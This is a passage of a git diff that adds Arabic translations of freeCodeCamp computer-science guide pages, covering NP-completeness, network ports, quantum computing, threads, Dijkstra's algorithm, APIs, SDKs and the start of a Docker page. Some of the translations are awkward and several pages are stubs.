+إذا كانت الحدود مربكة ، فكر في الأمر على هذا النحو. لدينا 2 أرقام ، س و ص. يتم إعطاؤنا ذلك x <= y و y <= x. إذا كانت x أقل من أو تساوي y ، و y أقل من أو تساوي x ، فإن x يجب أن تساوي y!
+
+إذا كنت على دراية بالقوائم المرتبطة ، فاختبر نفسك وفكر في أوقات التشغيل لكل واحدة من هذه الوظائف!
+
+1.  احصل على
+2.  إزالة
+3.  إضافة
+
+تصبح الأمور أكثر إثارة عندما تفكر في قائمة مرتبطة بشكل مزدوج!
+
+#### معلومات اكثر:
+
+https://www.khanacademy.org/computing/computer-science/algorithms/asymptotic-notation/a/big-big-theta-notation https://stackoverflow.com/questions/10376740/what-exactly-does-big-٪D3٪A8-notation-represent https://www.geeksforgeeks.org/analysis-of-algorithms-set-3asymptotic-notations/
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/notation/index.md b/client/src/guide/arabic/computer-science/notation/index.md
new file mode 100644
index 0000000000..59cc105b42
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/notation/index.md
@@ -0,0 +1,11 @@
+---
+title: Notation
+localeTitle: الرموز
+---
+## الرموز
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/notation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/np-completeness/index.md b/client/src/guide/arabic/computer-science/np-completeness/index.md
new file mode 100644
index 0000000000..5f84f2249e
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/np-completeness/index.md
@@ -0,0 +1,21 @@
+---
+title: Np Completeness
+localeTitle: اكتمال Np
+---
+## اكتمال Np
+
+NP-Complete هي خاصية لأنواع معينة من المشاكل. إذا كانت المشكلة هي NP-Complete ، فهذا يعني أنه لا توجد خوارزمية فعالة (متعددة الحدود) لإيجاد حل لها بسرعة. ومع ذلك ، إذا تم تقديم حل لنا ، يمكننا بسرعة (في كثيرات الحدود) التحقق من صحة ذلك.
+
+ولكي نكون أكثر واقعية ، دعونا نفحص مشكلة NP-Complete معروفة - مشكلة مجموع المجموعة الجزئية. لنفترض أن لدينا مجموعة من الأعداد الصحيحة {−7 ، −3 ، −2 ، 5 ، 8}. نريد العثور على مجموعة فرعية من هذه الأعداد الصحيحة التي يصل مجموع عناصرها إلى 0. كيف يمكننا القيام بذلك؟
+
+تتمثل إحدى الطرق في تعداد كل المجموعات الفرعية الممكنة والتحقق مما إذا كانت عناصرها تلخص حتى صفر. وسيكون هذا الأمر معقدًا بشكل كبير.
+
+وبالفعل ، لا توجد خوارزمية أفضل معروفة ، والتي تتحسن على الزمن الأسي المحدد. هذا هو السبب في أنه يصنف على أنها مشكلة NP-Complete.
+
+هناك العديد من المشاكل المعروفة هذه بصرف النظر عن مشكلة مجموع المجموعة الجزئية المعروفة بـ NP-Complete. إذا تم العثور على خوارزمية فعالة لواحد ، فهذا يعني أنه يمكننا تصميم خوارزمية فعالة لجميع المشاكل التي هي NP-Complete.
+
+إذا كانت لديك مشكلة يمكن إثبات أنها مكتملة NP ، يجب أن تتوقف عن محاولة العثور على خوارزميات أكثر فاعلية لها بدلاً من ذلك واستخدام الأساليب البحثية لحل المشكلة لمعظم حالات الاختبار ، أو حل نسخة تقريبية من المشكلة. أو ربما تفحص المشكلة التي تقوم بحلها لمعرفة ما إذا كان لا يمكن تبسيطها إلى شيء غير NP-Complete.
+
+#### معلومات اكثر:
+
+https://www.ics.uci.edu/~eppstein/161/960312.html https://stackoverflow.com/questions/210829/what-is-an-np-complete-in-computer-science
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/parallel-computing/index.md b/client/src/guide/arabic/computer-science/parallel-computing/index.md
new file mode 100644
index 0000000000..d8b47d0cc4
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/parallel-computing/index.md
@@ -0,0 +1,11 @@
+---
+title: Parallel Computing
+localeTitle: الحوسبة المتوازية
+---
+## الحوسبة المتوازية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/databases/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/ports/index.md b/client/src/guide/arabic/computer-science/ports/index.md
new file mode 100644
index 0000000000..bee0237496
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/ports/index.md
@@ -0,0 +1,28 @@
+---
+title: Ports
+localeTitle: الموانئ
+---
+## الموانئ
+
+المنفذ هو نقطة نهاية الاتصال لنظام التشغيل ، في مجموعة بروتوكولات الإنترنت. يتم استخدام أسماء الخدمة وأرقام المنافذ للتمييز بين الخدمات المختلفة التي يتم تشغيلها عبر بروتوكولات النقل مثل TCP و UDP و DCCP و SCTP. عندما يتلقى جهاز الكمبيوتر رسالة من مصدر آخر ، فإن المنافذ ستساعد في تحديد العملية التي تتوقع تلك الرسالة.
+
+يرتبط المنفذ دائمًا بعنوان IP للمضيف ونوع البروتوكول الخاص بالاتصال ، وبذلك يتم إكمال عنوان الوجهة أو عنوان شبكة الاتصال لجلسة اتصال. هناك 65536 منافذ المتاحة في نظام التشغيل. يتم تحديد منفذ لكل عنوان وبروتوكول عن طريق رقم 16 بت ، والمعروف باسم رقم المنفذ. على سبيل المثال ، قد يكون العنوان "بروتوكول: TCP ، عنوان IP: 1.2.3.4 ، رقم المنفذ: 80" ، والذي قد يكتب 1.2.3.4:80 عندما يكون البروتوكول معروفًا من السياق. يتم استخدام بعض أرقام المنافذ بالاتفاقية لتحديد خدمات معينة ، مثل:
+
+*   20 - FTP
+*   21 - FTP
+*   22 - SSH
+*   23 - Telnet
+*   25 - SMTP
+*   42 - خادم الأسماء
+*   53 - نظام اسم المجال (DNS)
+*   80 - http
+*   110 - pop3
+*   143 - imap
+*   194 - irc
+*   443 - https
+
+### مصادر
+
+*   [iana.org](https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml)
+*   [ويكيبيديا](https://en.wikipedia.org/index.php?q=aHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvUG9ydF8oY29tcHV0ZXJfbmV0d29ya2luZyk)
+*   [Webopedia](https://www.webopedia.com/quick_ref/portnumbers.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/quantum-computing/index.md b/client/src/guide/arabic/computer-science/quantum-computing/index.md
new file mode 100644
index 0000000000..14cc7321d8
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/quantum-computing/index.md
@@ -0,0 +1,33 @@
+---
+title: Quantum Computing
+localeTitle: الاحصاء الكمية
+---
+## الاحصاء الكمية
+
+نظم الحوسبة الكمومية تدرس نظم الحساب (الحواسيب الكمومية) التي تستخدم مباشرة الظواهر الميكانيكية الكميّة ، مثل التراكب والتراكب ، لتنفيذ العمليات على البيانات.
+
+### ما هي الحوسبة الكمومية؟
+
+الطبيعة - بما في ذلك جزيئات مثل الكافيين - تتبع قوانين ميكانيكا الكم ، وهو فرع من فروع الفيزياء يستكشف كيف يعمل العالم المادي على أكثر المستويات الأساسية. على هذا المستوى ، تتصرف الجسيمات بطرق غريبة ، تأخذ أكثر من حالة واحدة في نفس الوقت ، وتتفاعل مع جسيمات أخرى بعيدة جداً. الحوسبة الكمومية تسخر هذه الظواهر الكمومية لمعالجة المعلومات بطريقة مبتكرة وواعدة.
+
+الحوسبة الكمومية هي دراسة نظم الحساب الكمومية التي تستخدم الظواهر الميكانيكية الكوانتية ، مثل التشابك والتراكب. تعتمد الحواسيب الإلكترونية الثنائية الرقمية (مثل حاسوبك الخاص!) على الترانزستورات ، التي تخزن البيانات في الأرقام الثنائية (البتات) ، والتي يمكن أن تكون كل واحدة منها في إحدى الحالتين (0 أو 1). أجهزة الكمبيوتر الكمية على ناحية أخرى تخزين البيانات في بتات الكم ، والتي يمكن أن تكون في حالات تراكب الولايات.
+
+ولما كان الحاسوب الكمومي قادرًا على الاستفادة من هذه الخواص الميكانيكية الكمومية ، فمن المتوقع أن أجهزة الكمبيوتر الكمومية واسعة النطاق ستتمكن من حل مشكلات معينة أسرع بكثير من الكمبيوتر الكلاسيكي.
+
+### ما هي أجهزة الكمبيوتر الكلاسيكية؟
+
+تُعرف أجهزة الكمبيوتر التي نستخدمها اليوم باسم أجهزة الكمبيوتر الكلاسيكية. لقد كانوا قوة دافعة في العالم لعقود - تقدم كل شيء من الرعاية الصحية إلى كيفية التسوق. ولكن هناك بعض المشكلات التي لن تتمكن حواسيب الكمبيوتر الكلاسيكية من حلها. النظر في جزيء الكافيين في فنجان قهوة. والمثير للدهشة ، أنه معقد بما فيه الكفاية أنه لا يوجد جهاز كمبيوتر موجود أو يمكن بناؤه ، سيكون قادراً على نمذجة الكافيين وفهم هيكله المفصل وخصائصه بالكامل. هذا هو نوع من التحدي الكمي لديه القدرة على التصدي لها.
+
+### كيف تعمل أجهزة الكومبيوتر؟
+
+أجهزة الكمبيوتر الكلاسيكية ترميز المعلومات في بت. يمكن لكل قيمة أن تأخذ قيمة 1 أو 0. تعمل هذه 1s و 0s كمفاتيح تشغيل / إيقاف مما يؤدي في نهاية المطاف إلى تشغيل وظائف الكمبيوتر. من ناحية أخرى ، تعتمد أجهزة الكومبيوتر على الكواكب ، التي تعمل وفقًا لمبدأين أساسيين في الفيزياء الكوانتية: التراكب والتشابك. التراكب يعني أن كل qubit يمكن أن يمثل كل من 1 و 0 في نفس الوقت. التشابك يعني أنه يمكن ربط qubits في تراكب مع بعضها البعض ؛ أي ، حالة واحدة (سواء كانت 1 أو 0) يمكن أن تعتمد على حالة أخرى. باستخدام هذين المبدأين ، يمكن أن تكون qubits بمثابة مفاتيح أكثر تعقيدًا ، مما يمكن أجهزة الكومبيوتر من العمل بطرق تسمح لها بحل المشكلات الصعبة التي يصعب حلها باستخدام أجهزة الكمبيوتر الحالية.
+
+### ما الذي يمكن لأجهزة الكم أن تفعله؟
+
+قد تقوم أنظمة الكم بفك تشابك التفاعلات الجزيئية والكيميائية مما يؤدي إلى اكتشاف أدوية ومواد جديدة. قد تمكن سلاسل الخدمات اللوجستية والإمداد عالية الكفاءة ، مثل تحسين عمليات الأسطول لعمليات التسليم خلال موسم الأعياد. قد تساعدنا في العثور على طرق جديدة لنمذجة البيانات المالية وعزل عوامل الخطر العالمية الرئيسية لتحقيق استثمارات أفضل. وقد يضعون جوانب من الذكاء الاصطناعي مثل التعلم الآلي أكثر قوة.
+
+### مزيد من الموارد
+
+[الكمبيوتر الكمومي شرح - حدود تقنية الإنسان | Kurzgesagt - في باختصار](https://www.youtube.com/watch?v=JhHMJCUmq28)
+
+[الحوسبة الكم وأوضح مع مجموعة من البطاقات | داريو جيل ، آي بي إم ريسيرتش](https://www.youtube.com/watch?v=yy6TV9Dntlw)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/quantum-computing/qubits/index.md b/client/src/guide/arabic/computer-science/quantum-computing/qubits/index.md
new file mode 100644
index 0000000000..3ba13ec1b8
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/quantum-computing/qubits/index.md
@@ -0,0 +1,21 @@
+---
+title: Qubits
+localeTitle: المكدسة
+---
+## المكدسة
+
+A Qubit هو اختصار للكمية quantum ، وهو مشابه للرقم الثنائي للحاسوب الكلاسيكي (bit). إنها الوحدة الأساسية للمعلومات في حاسوب كمومي ، تمامًا مثل الأرقام الثنائية (0 أو 1) هي الوحدة الأساسية للمعلومات في أجهزة الكمبيوتر الكلاسيكية المستخدمة على نطاق واسع اليوم.
+
+والفارق الرئيسي بين الباقة الكلاسيكية والكمية الكمية يتعلق بكمية **الحالات** التي يمكن أن توجد فيها في وقت يؤثر مباشرة على كمية المعلومات التي يمكن أن تحملها. في النظام الكلاسيكي ، يجب أن يكون قليلاً في حالة واحدة (0) أو الأخرى (1) في أي وقت واحد. ومع ذلك ، تسمح **ميكانيكا الكم** لل qubit أن تتصرف كما لو كانت في كلتا الدولتين في وقت واحد. وبعبارة أخرى ، فإن كل qubit إضافي يستخدم زيادة أسيًا في مقدار المعلومات التي يمكن للحاسوب الكمي أن يعالجها أو يحتفظ بها. هذه الخاصية أمر أساسي للحوسبة الكمومية.
+
+لتوضيح هذا الأمر بشكل أكبر ، إذا كان لديك qubit واحد ، فيمكنك تخزين "0" و "1" في نفس الوقت (وهو ما يعني مجموع 2 حالة أو قيم). إذا كان لديك نظام 2-qubit ، فيمكنك الاحتفاظ **بأربع** قيم في وقت واحد - 00 و 01 و 10 و 11. مع نظام 3 -bit ، يمكنك الاحتفاظ **بثمانية** قيم في وقت واحد - 000 ، 001 ، 010 ، 011 ، 100 و ، 101 ، 110 ، و 111. بشكل عام ، فإن النظام الكمومي الذي يتكون من n-qubits سيكون قادراً على الحصول على حالات 2 ^ n التي تكون أقوى بشكل كبير من أي كمبيوتر كلاسيكي.
+
+#### معلومات اكثر:
+
+[Ars Technica - شرح الحوسبة الكمومية و Qubits](https://arstechnica.com/science/2010/01/a-tale-of-two-qubits-how-quantum-computers-work)
+
+[ويكيبيديا - Qubits](https://en.wikipedia.org/wiki/Qubit)
+
+[ويكيبيديا - تراكب الكم](https://en.wikipedia.org/wiki/Quantum_superposition)
+
+[ميكانيكا الكم على ويكيبيديا](https://en.wikipedia.org/wiki/Quantum_mechanics)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/recursive-descent/index.md b/client/src/guide/arabic/computer-science/recursive-descent/index.md
new file mode 100644
index 0000000000..b829baf9e9
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/recursive-descent/index.md
@@ -0,0 +1,11 @@
+---
+title: Recursive Descent
+localeTitle: النخر المتكرر
+---
+## النخر المتكرر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/recursive-descent/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/shortest-path-on-a-graph/index.md b/client/src/guide/arabic/computer-science/shortest-path-on-a-graph/index.md
new file mode 100644
index 0000000000..218cc10084
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/shortest-path-on-a-graph/index.md
@@ -0,0 +1,37 @@
+---
+title: Shortest Path on a Graph
+localeTitle: أقصر مسار على الرسم البياني
+---
+## أقصر مسار على الرسم البياني
+
+يعد العثور على أقصر مسار بين نقطتين على الرسم البياني مشكلة شائعة في هياكل البيانات خاصة عند التعامل مع التحسين. الرسم البياني عبارة عن سلسلة من العقد المتصلة بالحواف. يمكن ترجيح الرسوم البيانية (القيم تحمل حواف) واتجاهي (حواف لها اتجاه).
+
+بعض تطبيقات هذا هي تحسين مسار الرحلة أو [6 درجات من كيفن بيكون](https://en.wikipedia.org/wiki/Six_Degrees_of_Kevin_Bacon)
+
+## خوارزمية Dijkstra
+
+الحل الأكثر شيوعًا لهذه المشكلة هو خوارزمية Dijkstra التي تقوم بتحديث أقصر مسار بين العقدة الحالية وكل جيرانها. بعد تحديث المسافة بين جميع الجيران يتحرك إلى العقدة مع أقل مسافة ويكرر العملية مع جميع الجيران غير المرغوب فيها. تستمر هذه العملية حتى تتم زيارة الرسم البياني بأكمله.
+
+![صورة مستويات الكود](https://upload.wikimedia.org/wikipedia/commons/5/57/Dijkstra_Animation.gif)
+
+**الخطوة 0:**
+
+يحتاج الرسم البياني لدينا إلى الإعداد حتى نتمكن من تسجيل القيم المطلوبة. على أي حافة لدينا المسافة بين العقدتين يربط. على أي عقدة لدينا أقصر مسافة من عقدة البداية. يتيح تعيين القيمة على كل عقدة إلى ما لا نهاية موجبة ، وتعيين القيمة على عقدة البداية إلى الصفر.
+
+**الخطوة 1:**
+
+انظر إلى جميع العقد مباشرة إلى عقدة البداية. القيم التي تحملها الحواف التي تربط البداية وهذه العقدات المجاورة هي أقصر المسافات لكل عقدة. سجل هذه المسافات على العقدة - الكتابة فوق اللانهاية - وعبر أيضا العقد ، وهذا يعني أنه تم العثور على أقصر مسار لها.
+
+**الخطوة 2:**
+
+حدد واحدة من العقد التي تم حساب أقصر مسار لها ، وسنطلق على هذا المحور الخاص بنا. انظر إلى العقد المؤدية إليه (سوف نطلق على هذه العقد الوجهة) والمسافات التي تفصل بينها. لكل عقدة وجهة: إذا كانت القيمة في المحور بالإضافة إلى قيمة الحافة تربطها بالمجموعات أقل من قيمة عقدة الوجهة ، فقم بتحديث قيمتها ، كما تم العثور على مسار أقصر جديد. إذا تم استكشاف جميع المسارات إلى عقدة الوجهة هذه ، فيمكن شطبها.
+
+**الخطوه 3:**
+
+كرر الخطوة 2 حتى تم شطب جميع العقد. لدينا الآن رسم بياني حيث ستكون القيم الممسوكة في أي عقدة هي أقصر مسافة لها من عقدة البداية.
+
+#### معلومات اكثر:
+
+[المزيد عن خوارزمية Dijkstra](https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm)
+
+[خوارزميات مسار أقصر أخرى](https://en.wikipedia.org/wiki/Shortest_path_problem#Algorithms)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/threads/index.md b/client/src/guide/arabic/computer-science/threads/index.md
new file mode 100644
index 0000000000..41601c9bad
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/threads/index.md
@@ -0,0 +1,40 @@
+---
+title: Threads
+localeTitle: الخيوط
+---
+## الخيوط
+
+تسلسل من تعليمات البرنامج المعطاة لنظام التشغيل للتنفيذ. وهو أصغر تسلسل متزامن يمكن تنفيذه. عندما تكون متزامنًا ، تكون التعليمات في سلسلة محادثات خطية وتنفّذ واحدة تلو الأخرى. إذا كان البرنامج يحتوي على عدة مؤشرات ترابط ، يمكن أن يكون البرنامج ككل غير متزامن في أن مؤشرات الترابط هذه تقوم بتنفيذ التعليمات الخاصة بها بشكل مستقل عن بعضها (في نفس الوقت).
+
+مؤشر الترابط هو تجريد تستخدمه أنظمة التشغيل لتمثيل وحدة المعالجة المركزية للبرامج. لا يوجد مفهوم حقيقي للخيوط في كود الآلة أو لغات التجميع.
+
+المواضيع هي وسيلة في البرمجة لأداء مهام متعددة في نفس الوقت.
+
+التمييز الشائع الذي يجب على المرء القيام به هو الفرق بين الخيوط والعمليات. الخيط هو طفل من العملية إذا جاز التعبير.  
+قد يكون هناك أي عدد من خيوط الطفل في سياق العملية. يمكن أن تزيد مؤشرات الترابط من سرعة تنفيذ البرنامج ، عن طريق زيادة النسبة المئوية لوحدة المعالجة المركزية المستخدمة في المهمة.  
+لاحظ أن زيادة عدد مؤشرات الترابط في البرنامج بشكل كبير يمكن أن يكون مكثفًا على وحدة المعالجة المركزية ، وإذا تم استخدام 100٪ من وحدة المعالجة المركزية ، فلن يكون لمؤشرات الترابط تأثير على سرعة التنفيذ.
+
+![خيوط داخل رسم بياني لعملية](https://upload.wikimedia.org/wikipedia/commons/thumb/a/a5/Multithreaded_process.svg/440px-Multithreaded_process.svg.png)
+
+لنفترض أن لديك برامج متعددة مفتوحة - يتم تمثيل مشاركة كل برنامج من وقت وحدة المعالجة المركزية بواحد أو أكثر من سلاسل العمليات المرتبطة بهذا البرنامج. عندما يقرر برنامج **جدولة** نظام التشغيل أنه تشغيل البرنامج A ، يقوم نظام التشغيل بتغذية (أو أن يكون أكثر دقة ، تعدد الإرسال) تعليمات في مؤشر ترابط Program A إلى وحدة المعالجة المركزية ، والتي تقوم بعد ذلك بتشغيل هذه الإرشادات.
+
+يتكون مؤشر الترابط لبرنامج معين من بعض أو كل التعليمات المجمعة لهذا البرنامج ، بالإضافة إلى بعض المعلومات المطلوبة لوحدة المعالجة المركزية لتنفيذ هذه الإرشادات.
+
+يعد **Multithreading** مفهوم برمجة حيث ينتج برنامج عدة مؤشرات ترابط أثناء التنفيذ وذلك لتنفيذ المهام بشكل أسرع.
+
+هنا مثال بسيط متعدد مؤشرات الترابط في python الذي يطبع الأرقام من 1 إلى 10 ، عن طريق وضع مؤشر ترابط منفصل لكل بيان الطباعة.
+
+ `import threading 
+ 
+ def print_number(number): 
+    print(number) 
+ 
+ if __name__ == "__main__": 
+    for i in range(1, 11): 
+        threading.Thread(target=print_number, args=(i,)).start() 
+` 
+
+#### معلومات اكثر:
+
+*   [مواضيع (ويكيبيديا)](https://en.wikipedia.org/wiki/Thread_(computing))
+*   [فهم متعددة](http://www.nakov.com/inetjava/lectures/part-1-sockets/InetJava-1.3-Multithreading.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/ubiquitous-computing/index.md b/client/src/guide/arabic/computer-science/ubiquitous-computing/index.md
new file mode 100644
index 0000000000..af8ddbbd9b
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/ubiquitous-computing/index.md
@@ -0,0 +1,20 @@
+---
+title: Ubiquitous Computing
+localeTitle: الحوسبة في كل مكان
+---
+## الحوسبة في كل مكان
+
+تم تقديم مصطلح الحوسبة في كل مكان من قبل مارك وايزر في عام 1988. وكتب العديد من الأوراق التي يصف فيها رؤيته لمستقبل حيث يتم تضمين التكنولوجيا في البيئة والأشياء اليومية.
+
+أحد الأفكار الرئيسية للحوسبة في كل مكان هو أن تلك الأجهزة المدمجة تتواصل مع بعضها البعض والبيئة المحيطة بطريقة غير مرئية حتى يتمكنوا من دعمنا في حياتنا اليومية دون أن يلاحظوا.
+
+غالباً ما يشار إلى الحوسبة في كل مكان بأنها الحوسبة المنتشرة أو الهادئة لأنها تدور حول كل شيء في العالم يتم تضمينه مع أجهزة الاستشعار بحيث يمكن للبيئة المحيطة بنا أن تهيئ نفسها لجميع احتياجاتنا ومتطلباتنا دون الحاجة إلى أي إدخال أو تأكيد من جانبنا.
+
+مثال مشهور للتكنولوجيا في كل مكان هو الثلاجة الذكية التي تعرف عندما تنفد على الحليب. ستتصل بمتجر السوبرماركت المحلي الخاص بك حتى يضاف الحليب للتسليم التالي لمحلات البقالة. يمكن أيضًا أن توفر لك الثلاجة الذكية أفكارًا للوصفات تعتمد على المكونات الموجودة بداخلها.
+
+#### معلومات اكثر:
+
+*   [الحوسبة المتفشية على TechTarget](http://internetofthingsagenda.techtarget.com/definition/pervasive-computing-ubiquitous-computing)
+*   [الحوسبة في كل مكان على Techopedia](https://www.techopedia.com/definition/22702/ubiquitous-computing)
+*   [7 أشياء تحتاج إلى معرفتها حول الحوسبة في كل مكان](http://www.monitis.com/blog/top-7-things-you-need-to-know-about-ubiquitous-computing/)
+*   [فيديو يوتيوب: يوم مصنوع من الزجاج](https://youtu.be/jZkHpNnXLB0)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/what-is-an-api/index.md b/client/src/guide/arabic/computer-science/what-is-an-api/index.md
new file mode 100644
index 0000000000..cc5c9ada7b
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/what-is-an-api/index.md
@@ -0,0 +1,56 @@
+---
+title: What is an API
+localeTitle: ما هو API
+---
+## ما هو API؟
+
+API لتقف على واجهة برمجة التطبيقات. تعمل واجهات برمجة التطبيقات على إخفاء التعقيد من المطورين ، وتمديد الأنظمة إلى الشركاء ، وتنظيم التعليمات البرمجية ، وجعل المكونات قابلة لإعادة الاستخدام. لا تقلق بشأن AP ، فكل ما عليك هو التركيز على I. I. API هي واجهة. كنت تستخدم واجهات طوال الوقت. نظام تشغيل الكمبيوتر هو واجهة. الأزرار في المصعد هي واجهة. دواسة الغاز في السيارة هي واجهة.
+
+توجد واجهة على قمة نظام معقد وتبسط مهام معينة ، وسيط يوفر لك الحاجة إلى معرفة كل تفاصيل ما يحدث تحت غطاء المحرك. واجهة برمجة تطبيقات الويب هي نفس الشيء. فهو يجلس على رأس خدمة ويب ، مثل Twitter أو YouTube ، ويبسط بعض المهام لك. فإنه يترجم أفعالك إلى التفاصيل التقنية لنظام الكمبيوتر على الطرف الآخر.
+
+إذا سبق لك أن برمجت في لغة موجهة للكائنات مثل Java أو C ++ ، فإن واجهة برمجة التطبيقات مشابهة تمامًا لمفهوم الفئة. عندما نسمي طريقة على كائن ما (مثل `.toString()` ) فنحن لا نهتم حقاً كيف ينتج الكائن النتيجة ، كل ما يهمنا هو السلسلة التي نحصل عليها في النهاية. تعمل المكالمة إلى API بنفس الطريقة. على سبيل المثال ، عندما نجري مكالمة على واجهة برمجة تطبيقات Facebook لاسترداد صورة ملف شخصي لمستخدم ، فإننا لا نهتم بكيفية استرداد المعلومات من الخادم. نحن فقط نجعل الطلب إلى API ، ندعه يتعامل مع كل منطق الاسترجاع المعقد ، ويحصل على صورتنا في نهاية كل شيء.
+
+## لماذا تعتبر واجهات برمجة التطبيقات مفيدة؟
+
+يعني الوصول إلى API بشكل عام أن يكون لديك إمكانية الوصول إلى كمية كبيرة من البيانات المنظمة. يوفر برنامج حماية البوابة البيانات إذن المطور (في شكل _مفتاح API_ ) للاستعلام عن خادم للحصول على معلومات. إذا كان الطلب ناجحًا ، يستجيب الخادم برسالة قد تبدو كالتالي:
+
+ `{ 
+  "coord": { 
+    "lon":139, 
+    "lat":35 
+  }, 
+  "wind": { 
+    "speed":7.31, 
+    "deg":187.002 
+  }, 
+  "rain": { 
+    "3h":0 
+  }, 
+  "clouds": { 
+    "all":92 
+  } 
+ } 
+` 
+
+المصدر: [Open Weather API](https://openweathermap.org/current)
+
+في المثال أعلاه ، قدم مطور طلبًا للحصول على الطقس الحالي عند خط عرض وخط طول معين ، واستجاب الخادم باستخدام _كائن JSON_ حول الرياح والأمطار والسحب لهذا الموقع. يتم استخدام الخدمات التي تستخدمها كل يوم مع الكثير من دورات الطلب والاستجابة مثل هذه.
+
+**فيما يلي أهم 10 واجهات برمجة تطبيقات للمبتدئين**
+
+1.  Dropbox: https://www.dropbox.com/developers
+2.  خرائط Google: https://developers.google.com/maps/web/
+3.  Twitter: https://dev.twitter.com/docs
+4.  YouTube: https://developers.google.com/youtube/v3/getting-started
+5.  Soundcloud: http://developers.soundcloud.com/docs/api/guide#playing
+6.  شريط: https://stripe.com/docs/tutorials/checkout
+7.  Instagram: http://instagram.com/developer/
+8.  Twilio: https://www.twilio.com/docs
+9.  الصرخة: http://www.yelp.com/developers/getting\_started
+10.  Facebook: https://developers.facebook.com/docs/facebook-login/login-flow-for-web
+
+#### معلومات اكثر:
+
+*   [API لغير المبرمجين](https://schoolofdata.org/2013/11/18/web-apis-for-non-programmers/)
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Application_programming_interface)
+*   [متوسط](https://medium.com/girl-geeks/top-10-apis-for-beginners-4d3c43be9386)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/what-is-an-sdk/index.md b/client/src/guide/arabic/computer-science/what-is-an-sdk/index.md
new file mode 100644
index 0000000000..5b99643774
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/what-is-an-sdk/index.md
@@ -0,0 +1,15 @@
+---
+title: What is an SDK
+localeTitle: ما هو SDK
+---
+## ما هو SDK
+
+مجموعة تطوير البرامج (SDK) هي مجموعة من الأدوات والمكتبات التي يمكنك استخدامها لإنشاء تطبيقات لحزمة برامج معينة.
+
+تعد بعض حزم SDK ضرورية لتطوير تطبيق خاص بالنظام الأساسي. على سبيل المثال ، يتطلب تطوير تطبيق Android على نظام Java مجموعة أدوات تطوير Java ، وتطبيقات iOS SDK لنظام iOS ، ومنصة Universal Windows Platform .NET Framework SDK.
+
+هناك أيضًا حزم SDK المثبتة في التطبيقات لتوفير التحليلات والبيانات حول النشاط. من الأمثلة البارزة Google و Facebook.
+
+قد يكون شيئًا بسيطًا مثل تنفيذ واحدة أو أكثر من واجهات برمجة التطبيقات (APIs) في شكل بعض المكتبات للتواصل مع لغة برمجة معينة أو لتضمين أجهزة متطورة يمكنها التواصل مع نظام مضمن معين.
+
+تتضمن الأدوات الشائعة تسهيلات التصحيح والأدوات المساعدة الأخرى ، والتي يتم تقديمها غالبًا في بيئة تطوير متكاملة (IDE). تشتمل حزم SDK أيضًا بشكل متكرر على نموذج التعليمات البرمجية والملاحظات الفنية الداعمة أو الوثائق الداعمة الأخرى للمساعدة في توضيح النقاط التي يتم إجراؤها بواسطة المادة المرجعية الأساسية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/containers/docker/creating-a-new-container/index.md b/client/src/guide/arabic/containers/docker/creating-a-new-container/index.md
new file mode 100644
index 0000000000..10546ab19f
--- /dev/null
+++ b/client/src/guide/arabic/containers/docker/creating-a-new-container/index.md
@@ -0,0 +1,15 @@
+---
+title: Creating a new container
+localeTitle: إنشاء حاوية جديدة
+---
+إنشاء حاوية باستخدام Docker CLI
+
+ `docker create [OPTIONS] IMAGE [COMMAND] [ARG...] 
+` 
+
+# أمثلة
+
+إنشاء وبدء حاوية
+
+ `$ docker create -t -i fedora bash 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/containers/docker/index.md b/client/src/guide/arabic/containers/docker/index.md
new file mode 100644
index 0000000000..93d5b7e8d6
--- /dev/null
+++ b/client/src/guide/arabic/containers/docker/index.md
@@ -0,0 +1,34 @@
+---
+title: Docker
+localeTitle: عامل ميناء
+---
+## عامل ميناء
+
+[Docker](https://www.docker.com/) هو عبارة عن منصة حاويات مستخدمة على نطاق واسع ومتوفرة لنظامي التشغيل Linux و Windows و Mac ، بالإضافة إلى مزودي خدمات السحابة مثل AWS و Azure.
+
